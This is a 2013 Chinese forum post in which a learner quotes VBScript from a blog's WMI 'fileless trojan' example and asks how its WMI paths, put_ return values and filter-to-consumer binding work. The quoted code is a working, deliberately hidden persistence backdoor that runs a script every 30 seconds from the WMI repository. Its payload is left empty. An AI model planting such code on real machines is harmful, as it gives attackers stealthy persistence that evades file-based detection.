本帖最后由 wankoilz 于 2013-3-6 21:12 编辑
我看了Demon的博客里面“三无后门”的代码后有几个问题,还请指导一下:
代码来自http://demon.tw/copy-paste/vbs-wmi-trojan-3.html:- '一个绑定事件和ASEC的实例。
-
- Function InstallUpdateableTrojan
- WMILink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名称空间
- TrojanName="ScriptKids" '自定义的消费者名字,也就是你的后门的名字
- TrojanRunTimer=30000 '自定义的脚本运行间隔
-
- strtxt="" '自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
-
- '配置事件消费者'
- set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
- Asec.name=TrojanName&"_consumer"
- Asec.scriptingengine="vbscript"
- Asec.scripttext=strtxt
- set Asecpath=Asec.put_
-
- '配置计时器'
- set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
- WMITimer.timerid=TrojanName&"_WMITimer"
- WMITimer.intervalbetweenevents=TrojanRunTimer
- WMITimer.skipifpassed=false
- WMITimer.put_
-
- '配置事件过滤器'
- set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
- EventFilter.name=TrojanName&"_filter"
- EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
- EventFilter.querylanguage="wql"
- set FilterPath=EventFilter.put_
-
- '绑定消费者和过滤器'
- set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
- Binds.consumer=Asecpath.path
- Binds.filter=FilterPath.path
- Binds.put_
-
- End Function
复制代码 问题1
里面出现了 set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 这种路径写法,
为什么获取其他实例比如 win32_process 时写成
set objprocesses=getobject("winmgmts:\\.\root\cimv2:win32_process").spawninstance_这样不行呢?
是因为 ActiveScriptEventConsumer 属于系统类吗?
还有,http://bbs.bathome.net/thread-21979-1-1.html 这里居然有 getobject("winmgmts:win32_process").instances_ 这种写法... ...
感觉真是太灵活了吧,有点头大... ...
问题2
set Asecpath=Asec.put_ 其中 Asecpath 是一个什么对象呢?我知道这是为了获取它的 path 属性,但它和 Asec 这个对象有什么关系呢?
问题3
看了这个问题大家不要见笑啊,既然专门设计一个绑定的类,为什么不直接设计成绑定 具体事件和消费者 ,而要整成绑定 过滤出来的事件和消费者呢... ...
直接绑定 事件id和消费者id 不就可以了吗,是不是多此一举呢?
勿怪! |